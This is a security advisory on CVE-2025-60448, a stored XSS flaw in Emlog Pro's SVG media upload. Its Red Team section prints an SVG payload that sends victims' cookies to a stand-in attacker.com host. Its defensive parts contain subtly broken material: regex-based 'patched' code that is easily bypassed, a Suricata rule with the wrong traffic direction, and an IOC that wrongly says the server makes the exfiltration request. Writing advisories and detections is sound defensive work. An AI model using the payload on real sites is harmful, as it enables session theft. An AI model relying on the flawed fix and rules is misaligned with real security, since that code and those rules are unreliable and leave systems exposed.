CVE-2025-60448

Executive Summary

CVE-2025-60448 is a stored Cross-Site Scripting (XSS) vulnerability in Emlog Pro 2.5.19, specifically within the /admin/media.php component. The vulnerability arises from insufficient validation of SVG file uploads, allowing an authenticated attacker with administrative privileges to upload a malicious SVG file containing embedded JavaScript. When any user (including other administrators) views the uploaded SVG file, the JavaScript executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or further compromise of the Emlog instance.

This vulnerability is classified as a Stored XSS (also known as Persistent XSS) because the malicious payload is permanently stored on the server and served to users without requiring any additional interaction beyond viewing the file.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct issue within the Emlog Pro application codebase. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs administrative-level access to the Emlog admin panel to upload files.
• User Interaction (UI): Required (R) - A victim user must view the uploaded SVG file.
• Scope (S): Changed (C) - The vulnerable component (media upload) impacts a different security scope (the user's browser).
• Confidentiality (C): Low (L) - Limited data exposure, such as session tokens.
• Integrity (I): Low (L) - Limited ability to modify content within the victim's session.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for administrative privileges reduces the immediate risk. However, once an attacker gains admin access, this vulnerability can be used to pivot and compromise other users or escalate privileges further.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of /admin/media.php. The application fails to properly validate the content type and content of uploaded SVG files. SVG (Scalable Vector Graphics) files are XML-based and can contain embedded JavaScript within <script> tags or event handlers (e.g., onload, onmouseover).

Attack Flow:

1. Authentication: The attacker must first authenticate as an administrator to the Emlog Pro admin panel.
2. Crafting Payload: The attacker creates an SVG file containing malicious JavaScript. A simple example:

   <svg xmlns="http://www.w3.org/2000/svg">
     <script>alert('XSS')</script>
   </svg>
   

3. Upload: The attacker uploads this SVG file via the media upload functionality in /admin/media.php.
4. Storage: The server stores the SVG file in the media directory (e.g., /content/uploadfile/).
5. Trigger: When any user (including other admins) views the uploaded SVG file directly (e.g., by navigating to its URL), the browser parses the SVG and executes the embedded JavaScript.
6. Impact: The JavaScript executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The application likely uses a simple file extension check (e.g., .svg) without verifying the actual MIME type or sanitizing the file content for malicious scripts.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common mitigation strategies.

Vulnerable Code (Conceptual):

// /admin/media.php (simplified)
if (isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['svg', 'png', 'jpg'])) {
        move_uploaded_file($file['tmp_name'], UPLOAD_PATH . $file['name']);
    }
}

Patched Code (Conceptual):

// /admin/media.php (simplified)
if (isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['svg', 'png', 'jpg'])) {
        // Validate MIME type
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);
        if ($mime === 'image/svg+xml') {
            // Sanitize SVG content (remove scripts)
            $content = file_get_contents($file['tmp_name']);
            $content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
            $content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $content);
            file_put_contents(UPLOAD_PATH . $file['name'], $content);
        } else {
            // Reject non-SVG files with .svg extension
            die('Invalid file type');
        }
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to an Emlog Pro 2.5.19 instance with admin credentials.
• A web browser or tool like curl.

Step 1: Create Malicious SVG Create a file named xss.svg with the following content:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
</svg>

Step 2: Upload via Admin Panel

1. Log in to the Emlog admin panel (e.g., http://target.com/admin/).
2. Navigate to Media (e.g., http://target.com/admin/media.php).
3. Upload the xss.svg file.

Step 3: Trigger the Payload

1. Note the URL of the uploaded file (e.g., http://target.com/content/uploadfile/2025/04/xss.svg).
2. Send this URL to a victim (e.g., another admin) or wait for them to view it.
3. The victim's browser executes the JavaScript, sending their cookies to the attacker's server.

Alternative Payload (using event handler):

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
</svg>

Blue Team (Defense & Detection)

Detection:

• Monitor for uploads of SVG files with unusually large sizes or containing <script> tags.
• Use a Web Application Firewall (WAF) to inspect uploaded files for malicious content.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Input Validation: Validate the MIME type of uploaded files using server-side checks (e.g., finfo in PHP).
• Content Sanitization: Strip all <script> tags and event handlers from SVG files before storage.
• File Storage: Store uploaded files outside the web root or serve them with a Content-Disposition: attachment header to prevent inline rendering.
• Access Control: Restrict media upload functionality to trusted administrators only.

Indicators of Compromise (IOCs)

File-Based IOCs:

• SVG files containing <script> tags or event handlers (e.g., onload, onerror, onclick).
• SVG files with suspicious filenames (e.g., xss.svg, payload.svg).

Network-Based IOCs:

• Outbound HTTP requests from the Emlog server to unknown external domains (e.g., attacker.com).
• HTTP requests to /content/uploadfile/ followed by a .svg file.

Log-Based IOCs:

• Admin panel access logs showing uploads of SVG files.
• Web server logs showing 200 OK responses for SVG files followed by 404 or unusual requests.

Detection Engineering

YARA Rule

rule CVE_2025_60448_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-60448"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60448"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $event_handler = /on\w+\s*=\s*["']/
    condition:
        $svg_tag and ($script_tag or $event_handler)
}

Sigma Rule

title: Emlog Pro SVG Upload XSS (CVE-2025-60448)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files containing JavaScript in Emlog Pro
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/media.php'
        cs-uri-query: '*'
        sc-status: 200
    filter:
        cs-uri-query: '*.svg'
    condition: selection and filter
falsepositives:
    - Legitimate SVG files without scripts
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60448 Emlog Pro SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/media.php"; http_uri; content:".svg"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG Uploads: Temporarily disable SVG file uploads in the Emlog admin panel until a patch is available.
2. Sanitize Existing Files: Scan the media directory for any SVG files containing <script> tags or event handlers and remove them.
3. Implement WAF Rules: Deploy a Web Application Firewall (WAF) rule to block uploads of SVG files containing JavaScript.

Long-Term Fixes:

1. Apply Vendor Patch: Monitor the Emlog official website or repository for a security patch addressing this issue.
2. Code Hardening: Modify the upload handler to:
   • Validate MIME type using finfo or similar.
   • Strip all <script> tags and event handlers from SVG content.
   • Serve SVG files with Content-Type: application/octet-stream to prevent inline rendering.
3. Security Headers: Implement Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'none';
   

Workaround:

• Use a reverse proxy (e.g., Nginx) to inspect and sanitize SVG files before they reach the application.

Valters IT